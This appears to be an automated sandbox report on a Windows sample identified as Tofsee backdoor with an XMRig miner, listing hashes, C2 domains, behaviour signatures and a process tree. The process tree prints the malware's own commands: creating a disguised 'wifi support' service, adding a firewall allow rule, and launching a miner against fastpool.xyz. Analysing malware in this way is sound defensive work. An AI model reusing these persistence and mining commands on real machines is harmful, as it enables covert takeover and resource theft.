Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-01-2023 12:15

General

  • Target

    95d21658c0eaee20c7d5c482dfc9f3bd303fd0bd715dbd29431a6b28b067e673.exe

  • Size

    312KB

  • MD5

    1482dbb2e2ac294bd4aeb9323c50f313

  • SHA1

    4854e0885e770317e1a960a8348ecfc20f1aca68

  • SHA256

    95d21658c0eaee20c7d5c482dfc9f3bd303fd0bd715dbd29431a6b28b067e673

  • SHA512

    f89c17e3b0e150f5005ac9e083e43fabf40f5177cb0b4f0f6a00b29ab3530193fc828201a692bd52a28ad1c9c701f7519978c82b9d7e1877c4dbd3978604a8f1

  • SSDEEP

    6144:F8L/1dMmyoZS5DQ3xvFse91dWKQvv6or:F8r1dHX/3xv+e9bbto

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\95d21658c0eaee20c7d5c482dfc9f3bd303fd0bd715dbd29431a6b28b067e673.exe
    "C:\Users\Admin\AppData\Local\Temp\95d21658c0eaee20c7d5c482dfc9f3bd303fd0bd715dbd29431a6b28b067e673.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3736
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ucoybvwr\
      2⤵
        PID:4376
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wmobskv.exe" C:\Windows\SysWOW64\ucoybvwr\
        2⤵
          PID:4356
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ucoybvwr binPath= "C:\Windows\SysWOW64\ucoybvwr\wmobskv.exe /d\"C:\Users\Admin\AppData\Local\Temp\95d21658c0eaee20c7d5c482dfc9f3bd303fd0bd715dbd29431a6b28b067e673.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ucoybvwr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ucoybvwr
          2⤵
          • Launches sc.exe
          PID:1552
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4640
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 1040
          2⤵
          • Program crash
          PID:4416
      • C:\Windows\SysWOW64\ucoybvwr\wmobskv.exe
        C:\Windows\SysWOW64\ucoybvwr\wmobskv.exe /d"C:\Users\Admin\AppData\Local\Temp\95d21658c0eaee20c7d5c482dfc9f3bd303fd0bd715dbd29431a6b28b067e673.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1184
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1100
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1568
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1184 -s 516
          2⤵
          • Program crash
          PID:2700
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3736 -ip 3736
        1⤵
          PID:1960
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1184 -ip 1184
          1⤵
            PID:2872

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\wmobskv.exe

            Filesize

            12.1MB

            MD5

            a53f36bd67dc9d9090c43f87f46a2d6a

            SHA1

            69ae3fc8fd59408661709a8458c11067e24da076

            SHA256

            4e9a5de0c8f7d59838abf742493ab84bd86eeda3d4493b5f745e599e0fefec03

            SHA512

            c396c3de959d120d7a359bfe3e5d091b119910139f6cb4b963a4ed578c5f11e7d8806bc34e6274f9c0b3f268c3ad15c94e0a99949d8aa3a729bec50143e4655c

          • C:\Windows\SysWOW64\ucoybvwr\wmobskv.exe

            Filesize

            12.1MB

            MD5

            a53f36bd67dc9d9090c43f87f46a2d6a

            SHA1

            69ae3fc8fd59408661709a8458c11067e24da076

            SHA256

            4e9a5de0c8f7d59838abf742493ab84bd86eeda3d4493b5f745e599e0fefec03

            SHA512

            c396c3de959d120d7a359bfe3e5d091b119910139f6cb4b963a4ed578c5f11e7d8806bc34e6274f9c0b3f268c3ad15c94e0a99949d8aa3a729bec50143e4655c

          • memory/1100-159-0x0000000002560000-0x0000000002570000-memory.dmp

            Filesize

            64KB

          • memory/1100-162-0x00000000025F0000-0x00000000025F5000-memory.dmp

            Filesize

            20KB

          • memory/1100-152-0x00000000010E0000-0x00000000010F5000-memory.dmp

            Filesize

            84KB

          • memory/1100-150-0x00000000010E0000-0x00000000010F5000-memory.dmp

            Filesize

            84KB

          • memory/1100-146-0x00000000010E0000-0x00000000010F5000-memory.dmp

            Filesize

            84KB

          • memory/1100-156-0x0000000002550000-0x0000000002556000-memory.dmp

            Filesize

            24KB

          • memory/1100-153-0x0000000002E00000-0x000000000300F000-memory.dmp

            Filesize

            2.1MB

          • memory/1100-165-0x0000000007C80000-0x000000000808B000-memory.dmp

            Filesize

            4.0MB

          • memory/1100-168-0x00000000031D0000-0x00000000031D7000-memory.dmp

            Filesize

            28KB

          • memory/1184-151-0x0000000000400000-0x0000000002C40000-memory.dmp

            Filesize

            40.2MB

          • memory/1184-149-0x0000000002EA2000-0x0000000002EB8000-memory.dmp

            Filesize

            88KB

          • memory/1568-172-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/1568-177-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/3736-133-0x0000000002CC0000-0x0000000002CD3000-memory.dmp

            Filesize

            76KB

          • memory/3736-135-0x0000000000400000-0x0000000002C40000-memory.dmp

            Filesize

            40.2MB

          • memory/3736-144-0x0000000000400000-0x0000000002C40000-memory.dmp

            Filesize

            40.2MB

          • memory/3736-143-0x0000000002D17000-0x0000000002D2D000-memory.dmp

            Filesize

            88KB

          • memory/3736-132-0x0000000002D17000-0x0000000002D2D000-memory.dmp

            Filesize

            88KB